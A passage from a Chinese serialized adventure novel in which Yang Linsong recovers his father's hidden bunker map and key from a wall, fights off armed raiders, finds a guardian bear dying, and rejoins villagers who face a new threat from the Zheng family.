“而开那扇门的钥匙……”
她没往下说。
不用多说,屋里每个人都听明白了。
门框那儿传来一声干涩的嗓音。
陈远山不知啥时候又站到那儿了。旧军大衣裹着他干瘦的身子,两只手缩在袖筒里。
他盯着杨林松,喉结滚了两下。
“1967年那个春节。”
声音跟砂纸刮铁皮似的。
“你爹最后一趟回家的时候,手里有没有拿啥东西?”
他停了一下,又问:
“或者……往家里藏过啥玩意儿?”
杨林松眉心一紧。
脑子里拼命扒拉,原身十二岁以前的记忆碎得稀巴烂,捡一块丢一块,拼都拼不上。
有一段模模糊糊的:
风雪天。
门被推开。
满身机油和枪油味儿的男人弯腰进来,脚上的雪踩得咯吱响。
他抱起炕上的小男孩,胡茬子扎在脸上,疼得慌。
然后就断片了。
杨林松睁开眼。
“记不清他手里拿啥了。”
他看向大伙儿,声音沉了下来:“但有件事儿我能确定。我现在住的那两间土坯房,就是当年我跟我爹的老宅子。他没了之后,大伯一家拿那儿当杂物间,堆了八年破烂。”
双手撑在桌沿上,胳膊肘都绷着劲儿。
“八年啊,除了堆些发霉的玉米面和破农具,没人动过那屋子的格局。”
目光扫了一圈。
“要是我爹真藏了东西,大伯一家没发现,那它现在指定还在屋里。”
王大炮就要蹦起来:“那还等啥?现在就去翻!掘地三尺也得给它找出来!”
“不急。”
杨林松一巴掌拍在桌上,震得碗都晃了晃。
“眼前的事儿没了结,翻出来也是给人送菜。先过了今晚这关,到时候就算把那屋子的砖一块块敲碎,我也把东西挖出来。”
没人再吱声了。
杨林松站直身子。
“说正事儿。”
他走到墙上那张手绘地图前,食指点了三个地方。
“村口岗哨,撤!灯全灭了,别给外头的人留一点儿亮。让他们觉得这村子跟没设防似的,随便就能闯。”
手指划到后山。
“老刘头,你带着黑皮,蹲后山旮旯里,盯着点儿。”
又划到大队部。
“阿三,你坐吉普车里,油加满,钥匙插着别拔。万一局势崩了,你踩油门就走,先把沈知青和大炮叔拉出去,不准回头!”
王大炮眼珠子瞪得溜圆。
他梗着脖子,声音从嗓子眼里一个字一个字挤出来:
“杨林松!”
“老子还没废到要当逃兵的地步!”
嘴唇哆嗦了两下,拳头砸在膝盖上,砸得板凳咣当一晃。
“老子就算死,也得死在红星大队的地界上!”
杨林松看了他一眼。
没接话,也没反驳。
点了下头。
“行。那您就守着大队部。”
------
大伙儿领了命,各自散了。
老刘头拎起工具箱往外走。
走到门口,脚步顿住了。
他慢慢转过身。
右手伸进旧棉袄怀里,摸了半天
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,掏出一根皱巴巴的大前门香烟。
烟卷有点变形,中间凹了一道印子。
是前几天去鬼市之前,杨林松塞给他的。
他揣在怀里省着抽,还没抽完。
老刘头走到墙角。
黑皮缩在那儿,两手抱着膝盖,大气不敢出一口。
老刘头把烟递过去。
黑皮愣住了。
老刘头从兜里掏出火柴,嚓地划了一根。
手拢着火苗子,凑到黑皮嘴边。
黑皮张嘴叼住烟。
嘴皮子抖得厉害,猛吸了一口,呛得咳了两声。
眼圈一下子红了。
他把烟夹在指缝里,手还在抖。
在鬼市的规矩里,老字辈当面给后生递烟点火,那是拿命担保的生死认可。
黑皮咧开干裂的嘴唇,声音发颤:
“老刘师傅……以前在鬼市,我还以为你真怕我呢。”
他吸了吸鼻子,勉强扯了个笑。
“现在一看,您才是真爷们儿!以前那怂样,全他妈是装的!”
老刘头拍了拍他的肩膀。
劲儿不大,可落得结实。
“昨晚干得不赖,没给老林子的爷们儿丢脸。”
黑皮攥着那根烟,手指不抖了。
他站起来。
腰杆子挺得笔直。
------
入夜。
杨林松独自回了土坯房。
门一关,屋里黑咕隆咚的。
他没点灯,和衣躺在冰凉的土炕上,闭着眼。
脑子里的线一根一根地扯:
三十一年。
两代人。
一座山。
想到一半,敲门声响了。
两短一长。
杨林松翻身坐起来,拉开门。
沈雨溪裹着军大衣站在门外,一身寒气,哈出来的白气还没散就叫风吹碎了。
进屋之后没坐,也没嘘寒问暖。
她看着杨林松,开口就问:
“要是你是杨叔,受过最严的特战训练,到了最后关头要藏最要紧的东西,你会藏哪儿?”
杨林松心口猛地一紧。
他抬起头,目光越过沈雨溪的肩膀,盯住了身后那堵坑坑洼洼的土砖墙。
泥灰剥落的缝隙。
歪歪扭扭的砖茬。
都是藏东西的好地方。
可他在这屋子住了这么久,压根没发现啥不对劲的。
沈雨溪顺着他的目光回头。
两人谁都没说话。
屋外,风雪忽然就猛了,窗框子被晃得咯咯直响。
“砰砰砰!”
枪声!
从黑瞎子岭深处传过来的。
又急又密。
是波波沙冲锋枪特有的连射动静,一串赶着一串。
枪声的空当里,夹着一声嗷嗷的嚎叫。
不是人的声音。
是那头守着熊神洞的巨型黑瞎子!
杨林松一把抓起炕上的紫杉木大弓,冲出门去。
他站在屋前,面朝黑瞎子岭。
枪声还在响,一串接一串,没个停。
杨林松的眼睛眯成一道缝。
那些接到血字警告的主力,还是来了。
可他们没冲村子。
反倒扑向了那个被特意留出空门的熊神洞。
杨林松攥弓的手紧了紧。
弓弦在风里嗡地响了一声。
整个杨家村,在枪响的那一刻起,彻底静了下来。
没有灯,没有狗叫,连一声咳嗽都没有。
只有漫天风雪。
还有远处山里,正在被碾碎的枪声。
第132章 找到了!藏了八年的秘密
杨林松攥着弓,站在土坯房门口。
风雪抽脸,眼睛一眨不眨盯着黑瞎子岭那边。
脑子里就一个念头:
冲过去!
“不能去!”
沈雨溪追出来,头发让风刮得乱七八糟,十根手指头死死攥着他袖口。
杨林松低头瞅她。
沈雨溪咬着下嘴唇,声音让风扯成一截一截:
“林松,林子里那枪声是饵!你一走,这屋子就空了!”
她松开一只手,往身后土坯房一指:
“你爹藏的东西还没找着!那才是他们真正想要的!你现在进林子,就算把那帮人全宰了,回来墙都得给你刨空了!”
杨林松攥弓的手背上,青筋蹦了两下。
三秒钟,一腔杀意硬生生憋回去。
他扭头冲回屋里,眼睛在四面墙上扫了一遍。
修屋那阵,每面墙他都用手摸过,补的补、封的封,没夹层,没空鼓。
眼珠子往右一瞟。
隔壁那间。
------
半掉的破木门歪在门框上,门板底下的缝儿往外冒霉味。
分家后,那间屋他就没咋进去过。
他爹在世的时候是猪圈,后来大伯把猪送去收购站,就搁那儿堆柴火。
八年,基本没人动过。
越脏越破越不起眼的地方,越适合藏东西。
“手电。”杨林松伸手。
沈雨溪从大衣兜里掏出手电筒,给他打亮。
两人一前一后踩着雪,推开那扇烂门。
铰链锈死了,推了两下才挤出半人宽的缝儿。
霉味直冲头顶。
手电光打进去,满地碎柴火棍、发黑的破麻袋、缺角的石槽。
蛛网结了一层又一层,有的都变成黑灰硬壳了。
杨林松侧身挤进去,脚底下踩着烂木头渣子,咯吱咯吱响。
他从腰里抽出三棱军刺,翻过来,拿刀柄顺着墙根一寸一寸敲。
笃。笃。笃。
北墙,实的。
笃。笃。笃。
西墙,实的。
笃、笃——?
东南角,半人高的地方,声音变了。
不是闷实的“笃”,是带空腔的“嗵”。
杨林松手上动作一顿。
就这一瞬。
“砰!”
村子中心那边,炸响一声闷沉的枪响。
不是波波沙,不是驳壳枪。
是汉阳造,王大炮那把老古董。
光束晃了几晃,沈雨溪声音发颤:“他们……进村了!”
杨林松牙关紧了紧。
那边是大炮叔在拿命顶着,这边是老爹三十一年的秘密。
这一秒劈成两半都不够使。
他右拳攥死,一拳头怼下去。
干硬了几十年的土砖四下崩裂,泥渣子糊了一脸。
拳面上的皮蹭掉一层,血珠子渗出来,他看都不看。
手探进墙洞。
指尖碰到硬东西。
冰凉,死沉。
外头裹着一层油布,油布上的桐油早干透了,硬邦邦的。
五指扣死,往外硬拽。
土砖夹层死咬着盒子不松口。
杨林松牙一咬,又补了一拳,洞口撑大两寸。
整个盒子被他从墙里拽了出来。
黑铁盒。
巴掌长、半尺宽,死沉。
油布裹了三层,麻绳扎得结结实实。
杨林松刚把铁盒攥手里——
这间屋子的窗棂外头,两道白影窜了过去。
就一声积雪被碾碎的脆响,紧跟着是窗棂炸裂的声儿。
两把波波沙冲锋枪的枪口,从两个方向同时捅进窗洞。
枪管上挂着碎木屑和雪沫子,一左一右,交叉锁死了屋里每一寸。
枪口后面,是两个蒙着脸的白布罩衫。
沈雨溪的手电筒脱手了,咣当摔在地上。
光束歪在墙根,照出两条晃悠的人影。
“放下。”左边那个开口了,口音生涩,咬字带碴儿。
他手指搭在扳机上,“把盒子踢过来。”
杨林松没动。
低头瞅了眼手里的黑铁盒,又抬头,瞅了瞅那两根枪管。
他嘴角往上一扯,眼底半点儿笑意没有。
“噔。”
铁盒搁脚边,右脚踩上去。
松开手,双臂张开,胸膛迎着枪口,往前迈了一大步。
“你主子郑少华下的死命令,活捉、勿杀。”
“老子今天就站这儿。”
又往前半步。
枪口离胸口不到两尺。
“你敢扣一下扳机试试?”
两个蒙面人手指僵在扳机上,面罩底下的眼睛狠狠一缩,左右对了个眼神。
他们是吃这碗饭的,啥阵仗没见过?
可没见过这样的。
这疯小子赤手空拳,胸口贴枪口,两只眼里除了杀意啥都没有。
违抗雇主死令的后果,比眼前这个疯子还吓人。
两把枪的枪口同时往下压了一寸。
右边那个嗓子眼滚了两下,侧头瞥了同伴一眼。
面罩底下含含糊糊挤出几个音节,意思全写在动作里:东西在他脚底下,先拿东西。
左边的微微点头。
枪口重新抬起来。
晚了!
杨林松右脚尖勾住地上一把冻成冰疙瘩的破条帚,脚腕一弹。
碎冰、干草、木棍裹着雪沫子,兜头砸向左边那张蒙面脸。
同一瞬,整个人贴地窜起来。
右手三棱军刺出鞘。
没多余动作,自下而上
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一道弧线。
刺尖精准划开右边悍匪握枪的手腕内侧。
血飙出来,热乎的,溅在冰凉的枪管上。
波波沙当啷落地。
左边那个反应贼快,挥开糊满脸的碎冰残帚,枪口下压,要打杨林松的腿。
来不及了!
杨林松已经贴进他怀里。
左肩一沉,腰胯一拧。
八极拳,贴山靠!
两百斤的身子连着肩胛骨里每一股劲儿,全压在对方胸口上。
肋骨断裂的声儿,闷闷的,跟一脚踩在一捆干柴上一个动静。
白罩衫飞出去,后背撞上半堵土墙,墙塌了半边,砖头泥块砸满地。
人埋在砖堆里,不动了。
沈雨溪靠在墙角,双手捂着嘴。
她看了全过程,从贴枪口的嘶吼,到三棱刺划开手腕的弧线,再到一肩膀撞碎肋骨的闷响,一个字都说不出来。
杨林松喘了口气,不重。
他没看地上打滚呻吟的人。
转身蹲下,从脚边捡起黑铁盒。
三棱军刺刺尖插进锁扣缝儿,手腕一翻。
“啪。”
锁扣崩开,盒盖弹起来。
里头垫着一层发黄的油纸。
油纸底下,安安静静躺着两样东西。
一张折了两道的硝制皮纸。
一把黄铜十字钥匙。
钥匙造型怪得很,十字四个头不一样长,最长那根末端刻着一圈细密的齿纹。铜面发黑,可齿纹里干干净净,一丝锈都没有。
沈雨溪捡起地上的手电筒,光束打在皮纸上。
只扫一眼,手就顿住了。
手绘图!
每一条通道、每一道防爆门都标得清清楚楚,最中心的位置画了个加粗的方框,旁边用铅笔标了三个字,每一划都刻进纸里:
核心库。
沈雨溪倒吸一口凉气:
“这是……熊神洞地下工事的完整结构图!”
声音发颤,“连核心武器库的位置都标出来了!”
她抬头瞅杨林松。
杨林松把皮纸折好,连同十字钥匙一块儿塞进贴身内衬的兜里,手掌在胸口按了一下,压得结结实实。
他站起身。
捡起紫杉木大弓,挎上肩。
跨过碎砖和断木,踩着满地的血和雪,走出那扇烂门。
风雪抽脸。
黑瞎子岭那边,枪声稀了,零星几响,越来越远。
杨林松站在半塌的土坯房前,脸上啥表情没有。
他把弓从肩上摘下来,握在手里。
胸口那把钥匙贴着皮肉,像是老爹隔了八年,又把手搁在了他心窝子上。
杨林松眼睛往山那头一扫,声音压得又低又沉。
“该去给山里那些狗收尸了。”
第133章 死在洞口的王,埋在心里的债
风雪没住。
杨林松踩着没过脚踝的积雪,一步一步往黑瞎子岭里头走。
走了半个钟头。
雪地上冒出第一具尸体。
趴在雪窝子里,后背一个血窟窿,血早冻成黑红的冰疙瘩了。
杨林松蹲下来,伸手翻了一下。
脸不认识,眼珠子瞪得溜圆,嘴张着。
他用两根手指探了探颈动脉。
死透透的。
站起身接着走,没回头。
死人,就是路上的记号。
越靠近熊神洞,记号越密。
第二具倒在红松树根底下,脑袋歪着,脖子上三道抓印子,间距老宽,皮肉翻卷,冻成灰白色的硬壳。
是熊掌拍的。
再往前,又有两三具横七竖八躺在雪窝里。
有的挂在矮树枝上,半边身子都冻硬了。
有的并排趴着,脚底下的血洇成一大片冰面。
离洞口二十步那具,手里还攥着半根点过的雷管引信,没点着。
离洞口最近那具,仰面朝天,胸口塌进去一大块,肋骨茬子都戳到棉袄外头了。
杨林松蹲在这具尸体旁,扫了一圈弹壳。
7.62毫米,步枪弹。
散得老开,打法乱哄哄的,半点儿章法没有。
再瞅地上的脚印。
十来双脚踩得稀烂,有进有退,有滑倒的拖印,有连滚带爬往后撤的抓痕。
杨林松脑子里把这场仗过了一遍:
有人想攻洞,黑瞎子守在洞口硬扛了一波。
两边交火,土匪丢了七条命,剩下的绕开它钻进洞里了。
黑瞎子没追。
它追不动了。
杨林松站起身,往洞口走。
腥臭味和血腥味越来越冲。
走了五步。
脚步停了。
那头黑瞎子,正趴在洞口正中间。
没死透。
可也差不离了。
身子底下洇开一大摊血,冻成暗红的冰面,跟雪搅在一块儿,黑一片红一片。
背上两枪,贯穿伤,血早凝住了,结了黑痂。
后腿是旧伤,铁脑壳那回用猎枪崩的,铁砂子留的坑还没长平,新结的痂冻得硬邦邦。
右前掌更早,是杨林松自己一箭穿的,好了之后留了一道又深又长的疤。
可最要命的,是肚子上那一枪。
弹头卡在里头,血一直渗,在雪地上洇出一小片暗红,还冒着点微弱的热气。
杨林松蹲下来。
黑瞎子听见动静,费劲地抬起头。
血红的眼珠子对上杨林松的脸。
瞳孔缩了一下,又松开。
认出来了。
喉咙里发出一声低沉的呜咽。
不是被打服时的害怕,不是发疯时的咆哮。
那声儿闷闷的、哑哑的,像是攒了满肚子的话,搁嗓子眼里堵着,出不来。
杨林松伸手,从旁边抓了一把干净的雪,按在伤口四周。
雪遇热化开,冰水渗进去。
黑瞎子浑身一颤,四条腿抽了一下,没挣扎。
杨林松又抓了第二把、第三把,把伤口四周的血污擦干净。
弹孔露出来,边缘发黑,还在往外渗血。
他低头,咬住衬衣下摆,嘶啦一声撕开,扯出一条粗布。
三下两下团成一团,死死按在伤口上。
手劲稳得很,跟前世在战场上给战友止血一模一样。
血慢慢止住了。
黑瞎子喘着粗气,脑袋一点一点垂下去,搁在前掌上。
眼睛还睁着,可不再呜咽了。
杨林松站起身,低头瞅了它一眼。
没说话。
该做的都做了。
剩下的,看它自己的命。
他提起弓,迈步往洞口走。
刚迈出一步。
黑瞎子猛地撑起上半身。
几百斤的身子剧烈哆嗦,四条腿撑不住,前掌在冰面上刨出几道深印子。
它喉咙里挤出一声低吼,短促、着急。
不是冲他。
是冲他身后。
杨林松后脖颈的汗毛一下子竖起来。
他没回头。
身子往左猛地一歪。
砰!
枪响了。
子弹贴着他右耳廓飞过去,热浪刮得耳根子生疼。
弹头砸在身后石壁上,崩出一片碎石渣。
乱石堆后面,一道黑影窜出来。
手里那把短管步枪还没来得及拉第二发,杨林松已经贴上去了。
三棱刺噌地出鞘。
没半点儿多余动作。
左手扣住持枪的手腕往外一掰,骨头错位的闷响清清楚楚。
右手军刺自下而上,从肋骨缝里扎进去。
角度刁,力道狠。
三道血槽一入肉,空气被挤出来,发出一声轻呲。
那人惨叫了半声,后半个字卡在嗓子眼里。
眼珠子暴凸,嘴张着,整个人从里到外软成一摊泥。
杨林松拔刀。
血顺着血槽涌出来,淋在雪地上,冒着白气。
低头瞅了一眼,脸不认识。
翻开衣领。
内侧缝着一小块白布,上面用黑墨水写了个编号。
他记在心里。
把尸体往旁边一推。
手伸进那人怀里摸。
摸到个硬东西。
掏出来一看。
一部电台。
巴掌大小,铁壳子,天线折着,还开着。
调频旋钮拧在个生位置上,跟之前在村里缴获的那台不一样。
杨林松把耳机凑到耳边。
听了三秒。
静悄悄的,只有电流的滋滋声。
没人说话。
可频道是通的。
这伙人身后,还有第三只耳朵在听着。
杨林松把电台关了,大衣翻过来,灰色正面朝外穿上,把电台塞进外兜。
站起身,回头瞅了一眼。
黑瞎子还趴在那儿。
眼睛闭上了。
肚子上的伤口不再渗血,棉布团子冻硬了,贴在皮毛上。
胸口也没了起伏。
杨林松站了两秒。
风雪灌进领口,凉得刺骨。
他盯着那庞大的黑身子,脑子里一幕一幕往回倒:
头一回遇上它,在老林子深处。
那畜生疯了似的冲过来,一巴掌能把碗口粗的红松拍断。
他一味躲,不恋战,最后甩脱了它。
第二回,为了救王大炮。
他一箭射穿熊掌,用三棱刺把它吓趴下。
那一回,把它从林子里的王,打成了他的兵。
后来铁脑壳带人攻洞,用猎枪崩了它后腿。
是他赶到,一箭钉穿雷管,救了它一命。
打那以后,这畜生就没离开过洞口一里地。
守到今天。
身上五六个窟窿。
守到最后一口气,还用来给他报信。
死在自己守了半辈子的门口。
杨林松收回目光。
三棱刺在裤腿上蹭了两下。
动作比平时慢了一截。
他摘下弓,钻进洞里。
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r>洞里黑咕隆咚,霉味混着硝烟味直冲头顶。
他从兜里掏出手电筒,按亮。
临走前沈雨溪塞给他的,铁壳子上还带着她手心的温度。
光柱劈开黑暗,照在坑道石壁上,一路往深处扫。
这条路他走过。
上回来的时候,他在最深处找到了抗联英雄张金山的残骸,找到了老爹的日记。
他脚步轻得很,踩在碎石上几乎没声。
弓臂贴着坑道石壁侧身拐弯,箭搭在弦上,弦拉了三分。
洞深处传来动静。
窸窸窣窣的,是人挪身子蹭石壁的声儿。
还有粗重的喘气,一口赶一口,带着呻吟。
是铁门后的石室。
杨林松侧身贴着门框,手电往里一晃。
两个人。
缩在角落里,一个捂肩膀,一个扶着墙。
听见动静,两人同时抬头。
手里的枪哆哆嗦嗦举起来。
杨林松弓弦一松。
嗖!
第一支破甲箭穿喉而过。
那人后脑勺撞在石壁上,枪脱了手,人滑下去,没了气。
弦再拉满。
第二箭。
嗖!
箭头扎进捂肩膀那人的大腿根子,连人带箭钉在地上。
那人惨叫一声,枪咣当落地,两手去抓箭杆,手指头哆嗦个不停。
杨林松走过去。
没给他多喘一口气的工夫。
三棱刺从颈侧扎进去,干净利索,抽出来连血都没溅几滴。
搜身。
没证件,没电台。
口袋里只有几发散弹,和半块冻硬的窝头。
窝头上还有牙印,咬了一半没舍得吃完。
杨林松捏着那半拉窝头看了一息。
两百块一个月买的命,连口饱饭都没管。
手电扫了一圈。
再没有活人了。
九二式重机枪、迫击炮筒、掷弹筒,都还在那儿,布局没变,一件没少。
杨林松转身,踩着来时的脚印往外走。
脚步比来时快了不少。
------
出洞的时候,天边泛起鱼肚白。
灰蒙蒙的光从云缝里漏下来,把积雪照得发青。
风小了点,树梢上挂的雪坨子不再往下掉。
杨林松经过黑瞎子的尸体。
脚步顿了一下。
雪已经开始盖住它了。
背上落了薄薄一层白,盖住了弹孔,盖住了旧伤的疤。
它趴在那儿,跟睡着了似的。
杨林松站了一息。
没蹲下。
没伸手。
收回目光,接着往前走。
走出一箭地,他停下来。
从怀里掏出那张羊皮图,展开。
手绘的线条在晨光里泛着淡黄。
每一条通道、每一道防爆门都标得清清楚楚。
最中心的位置,三个字刻进皮纸里:
核心库。
他把图折好,揣回贴身兜里。
胸口那把十字钥匙压在上面,硌着皮肉。
老爹藏了三十一年的东西,现在贴在他心窝子上。
黑瞎子用命,替他守住了这个洞。
杨林松把弓挎上肩。
大步踩进积雪里,往村子的方向走。
身后,雪一层一层往下落,慢慢把洞口那庞大的黑身影埋了起来。
它没有名字。
没人给它立碑。
可这座山,记着它。
从今往后,这山里欠的每一笔账,他杨林松都要连本带利,一笔一笔收回来。
第134章 所有人都在等一个人
大队部院里,王大炮倚着墙根蹲地上。
老汉阳造横在膝盖上,枪管还热乎着。
枪托上糊了一层暗红的玩意儿,冻得邦邦硬。
血不是他的。
那声枪响,就是从这儿出去的。
半个钟头前,一个穿白灰伪装服的影子从院墙东头翻进来。
王大炮想都没想,对着那人脚边的雪地“砰”就是一枪!
这一枪,正是杨林松在土坯房里听见的那声。
枪声撕开雪夜,那影子被震得一愣神,脚刚落地,王大炮已经冲上去了。
枪托抡圆了往脑袋上招呼。
第一下,那人歪了。
第二下,膝盖跪了。
第三下,整个人趴地上,不动弹了。
王大炮收枪,大口喘了两下。
肋骨的旧伤又扯着了。
疼得他眼角直抽,牙关咬得咯咯响,愣是一声没吭出来。
他扶着墙喘了半天,才慢慢直起腰。
------
大队部后院门外,阿三坐在吉普车里。
发动机没熄,钥匙插着,左脚搭着离合器,右脚搁在油门上。
前头的玻璃结了半层霜,他拿袖子使劲儿抹出巴掌大的窟窿,透过那道缝儿死盯着院门。
杨林松下了死命令,不管听见啥动静,脚不准离开踏板,手不准松开方向盘。
方才院里那声枪响,他整个人弹起来,心脏砸在嗓子眼儿里,硬是攥着方向盘没敢动。
十根手指头勒得发白,手心里全是黏糊糊的汗。
发动机空转的嗡嗡声,闷闷地响着,一声赶着一声。
------
后山旮旯里,老刘头和黑皮缩在两块巨石后头。
黑皮冻得直搓手,上下牙磕得咯咯响。
攥锤子那只手死活没松开过,十根手指头僵得跟柴火棍儿似的。
他压低嗓门儿:“老刘师傅,杨爷一个人进山……能顶得住不?”
老刘头没回头,眼睛钉在山下那片黑咕隆咚的林子里。
半天,才从牙缝儿里挤出一句:“他说行,就指定行。”
黑皮咽了口唾沫,嗓子眼干得发紧,没再吱声。
两人就这么蹲着,跟石头上的冻肉没啥两样。
------
大队部办公室里,周铁山攥着一封电报从里屋快步走出来。
电报是赵卫东加急拍过来的,寥寥两句话,每个字都往眼珠子里扎:
“郑鸿运施压军区接管。郑少华北上,下落不明。”
他站在屋檐底下,把电报折好塞进上衣兜。
手指在兜口按了两下,死死按住。
抬头往黑瞎子岭方向望。
白茫茫一片,啥也瞅不见。
周铁山后槽牙咬得酸疼,低声骂了一句:“操。”
这头还没把山里的账算清,那头姓郑的已经伸手了。
------
屋里头,沈雨溪蹲地上给伤员处理伤口。
有胳膊被流弹擦着的,有脑袋叫碎石崩破皮的。
她动作利索,纱布绕两圈、折角、打结,一气呵成。
一个民兵疼得龇牙咧嘴,嘶嘶抽凉气。
沈雨溪头也不抬:“忍着!比这疼的还在后头呢。”
旁边几个伤员听了,都闷着没接茬,莫名觉得这话不光是冲他们说的。
她每处理完一个,就往门口瞟一眼。
门口空荡荡的,只有风雪灌进来的冷气。
------
院里,王大炮撑着墙站起来,两个膝盖嘎嘣响了两声。
他拖着步子走到吉普车边,抬手拍了拍车窗。
阿三摇下手摇把子,玻璃吱呀呀地降了一半。
王大炮从兜里摸出一根皱巴巴的烟递过去:“抽一口,提提神儿。”
阿三接了,手有点抖,火柴划了两根才点着。
吸一口呛得直咳,眼泪都呛出来了。
王大炮咧嘴笑:“怂样。”
阿三缓过气儿,声音发涩:“大炮叔……你说杨爷,得啥时候能回来?”
王大炮望向山的方向,沉了好几秒。
嘴刚张开一半。
“砰!”
远处,黑瞎子岭深处传来一声枪响。
闷闷的,叫风雪裹着。
两人同时僵住,四只眼珠子死死盯在那个方向。
一秒。
两秒。
等了半天,没第二声。
王大炮把视线收回来,烟头按灭在车帮子上,不紧不慢地说:“该回来的时候,自然就回来了。”
说完转身走回墙根蹲下,后背靠着砖墙,老汉阳造重新横在膝盖上。
阿三盯着他背影看了三秒,把没抽完的烟头掐灭,又把脚搁回油门上。
------
张桂兰家。
枪声一停,她就从地窖爬出来了,满头满脸都是灰。
院墙西边叫流弹打了个拳头大的窟窿,砖碴子崩得满地都是。
她瞅见那窟窿,两条腿一软,直接瘫地上了。
杨大柱从屋里蹿出来,裤裆湿了一大片,嘴里嗷嗷叫唤:“妈!妈!外头打枪!打枪啊!”
张桂兰从地上弹起来,一把捂住他嘴,连拖带拽往屋里扯。
进门之前,她回头瞅了一眼墙上那窟窿,又瞅了一眼杨林松那两间土坯房的方向。
眼神里除了怕,还夹着一丝贼光。
打枪打死人她管不着。
可要是那个傻子死在山里回不来了……
那两间土坯房,可就没主了。
------
后山。
黑皮冻得受不了,偷偷动了动脚趾头。
脑袋一点一点往下磕,磕到胸口弹回来,又磕下去。
老刘头没回头,声音从风里飘过来:“别睡。”
顿了一下,补了句:“睡了就醒不来了。”<
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br>黑皮使劲在大腿上掐了一把,疼得倒吸一口凉气,总算清醒点。
抬头看天。
天边有些发白了,灰蒙蒙的,分不清是云还是光。
没啥动静了,林子里该打完了吧?
他张了张嘴,想问一句,又咽回去了。
怕问出来,答案不是自己想听的。
------
大队部院里,王大炮靠着墙根,鼾声一哧一哧往外冒。
老汉阳造还横在膝盖上,手指头勾着扳机护圈,睡着了都没松。
阿三趴在方向盘上,眼睛半睁半闭,脚还搁在油门上,发动机嗡嗡响着。
屋里,沈雨溪坐在炉子边,眼睛盯着火苗子,一动不动。
膝盖上摊着一卷没拆封的纱布,两只手搁上面,手背上的筋都绷得直直的。
周铁山站在屋檐底下,脚边一堆烟头。
鞋面上落了一层烟灰,跟雪搅在一块儿,灰不溜秋的。
每个人都在自己的位置上。
熬着。
------
天边泛起鱼肚白,灰蒙蒙的光从云缝里漏下来,积雪被照得发青。
周铁山把最后一根烟头按灭在鞋底,正要转身进屋。
脚步顿住了。
远处,村道的雪路上,出现一个黑点。
不大,在灰白的天地之间慢慢往前挪。
周铁山眯起眼,右手按上枪套。
黑点越来越大。
是个人影。
步子稳得很,每一步踩下去都实实的,不急不慢。
走近了。
周铁山看清了那张脸。
手从枪套上拿开,冲院里喊了一声:
“回来了!”
王大炮蹭地站起来,老汉阳造差点掉地上。
阿三从车里钻出来,车门都忘了关。
沈雨溪冲到门口,脚步急得在门槛那儿踉跄了一下,手扶住门框才站稳。
所有人都盯着那个方向。
杨林松踩着积雪,一步一步走过来。
肩上挎着紫杉木大弓,大衣的灰色正面沾满雪沫子,还有说不清啥色儿的印子。
------
他走到院门口,站住。
扫了一圈院里的人。
没说话。
王大炮嘴张了两下,一个字蹦不出来。
阿三鼻子一酸,猛地别过头去。
沈雨溪站在门口,一只手还扶着门框,另一只手垂在身侧,攥了一整夜的纱布卷啪嗒掉在脚边。
她没去捡。
所有人都看着他,耳边只有风声。
周铁山是第一个动的人。
他大步迎上去,脸上神色凝重。
两人目光对上。
杨林松点了一下头,声音沙哑:“山里的,解决了。”
周铁山却摇了摇头,从上衣兜里掏出电报,攥在手里:
“山里的仗是打完了。”
“可省城的仗,才刚开始。”
第135章 炕洞里的秘密,点燃了她的胆子
大队部办公室里。
周铁山把电报递过来。
杨林松没接。
他把弓靠在墙根,从贴身兜里掏出那张羊皮图,啪一声拍在桌上。
“先看这个。”
屋里的人全围过来了。
王大炮拄着老汉阳造凑到桌跟前,阿三从门口探进脑袋,老刘头叼着烟杵在墙角,黑皮缩在他身后。
沈雨溪先伸手,把羊皮图展开,手指顺着上面画的坑道往里捋,捋到“核心库”仨字时,指尖一顿。
再把图翻过来,背面的字迹细如发丝,密密匝匝排了三列。
她把手电凑过去,眯着眼一行一行念。
越念,脸越白。
“工业铂金,四十七箱。光学仪器,六箱。九七式密码机,两台。”
声音压得极低。
“这都是国家军需储备,动一箱都得上报军委。”
她把手收回来搁在桌沿上。
“1945年关东军没来得及运走,就地封死了。”
她抬头瞅了杨林松一眼。
“就那四十七箱铂金,全县的粮仓加上所有工业券,换上十年,也不够这个数的。”
屋里闷了两秒。
王大炮后槽牙咬得嘎嘣响:“难怪姓郑的豁出命来干……这他妈是金山银山啊!”
这话一出口,老刘头叼着的烟掉在地上,烟灰糊了一鞋面,他连眼皮都没低一下。
杨林松没搭理,从兜里掏出那把十字钥匙,搁在图旁。
黄铜发黑了,四个齿头长短不一,最长那根末端的细齿纹发着哑光。
沈雨溪拿起来转了两圈,用指甲在齿纹上轻轻刮了一下。
“日军最高级别的防爆门锁配的。”
她放下钥匙,手指又指回图上的核心库。
“这儿,跟咱上回进的那个石室不是一条道。那个石室是外围仓库,放步枪迫击炮的。真正的核心库在更里头,得往东拐,过两道防爆门。”
她顿了一下,手指没挪开。
“上回咱根本没走到地方。”
杨林松盯着图看了三秒。
“活捉勿杀”四个字又在脑子里过了一遍。
郑家父子折腾三十一年、搭进去几十条人命,就是为了这把钥匙和这张图。
没有钥匙,那扇防爆门就是堵死墙。来一百个人也是白给。
他把钥匙揣回贴身兜里,从大衣外兜摸出那部铁壳电台,哐当往桌上一放。
周铁山一看见这玩意儿,眼皮子立马跳了一下。
接过去拧开后盖,把天线拉直,对着旋钮位置看了两眼,脸一下子沉了。
“频率不对。”
把旋钮拧回原位,合上盖子。
“跟之前缴获的那台不在一个波段上。”
他抬头瞅着杨林松。
“还有第三伙人。”
杨林松嗯了一声,下巴往电报那边一扬。
周铁山把电报展开,拍在桌面上。
两行字,加急码,字迹歪歪扭扭的。看得出来,译电员的手当时都在抖。
“郑鸿运施压军区接管。郑少华北上,下落不明。”
屋里彻底静了。
杨林松把电报和羊皮图并排摆着,低头扫了一遍。
“父子俩,一明一暗。”
每个字都砸在桌面上。
“老的在省城搅浑水,小的往这边摸。他们想抢在军区动手之前,把东西弄走。”
指头在电台上敲了一下。
“可他们不知道,光有坐标没用。没这把钥匙,来一百个人也是白搭。”
王大炮一拳捶在膝盖上,腮帮子鼓得老高:
“那还磨叽啥?赶紧的,趁他们没到,先把核心库撬开!东西搬出来该上交的上交,看姓郑的还抢个屁!”
杨林松点了点头。
站直身子,目光从每个人脸上扫过去。
这一眼,比下命令还管用,屋里莫名其妙就静了。
“周叔,省城那边你盯着。赵副部长一有消息,第一时间传回来。”
周铁山点点头,没废话。
“老刘头,带黑皮去鬼市,摸郑少华的行踪。他到了北边,总得吃饭住店,肯定有人见过。”
老刘头把烟头在鞋底按灭,起身往外走,到门口顿了一下,回头瞅了杨林松一眼。
啥也没说,带着黑皮出去了。
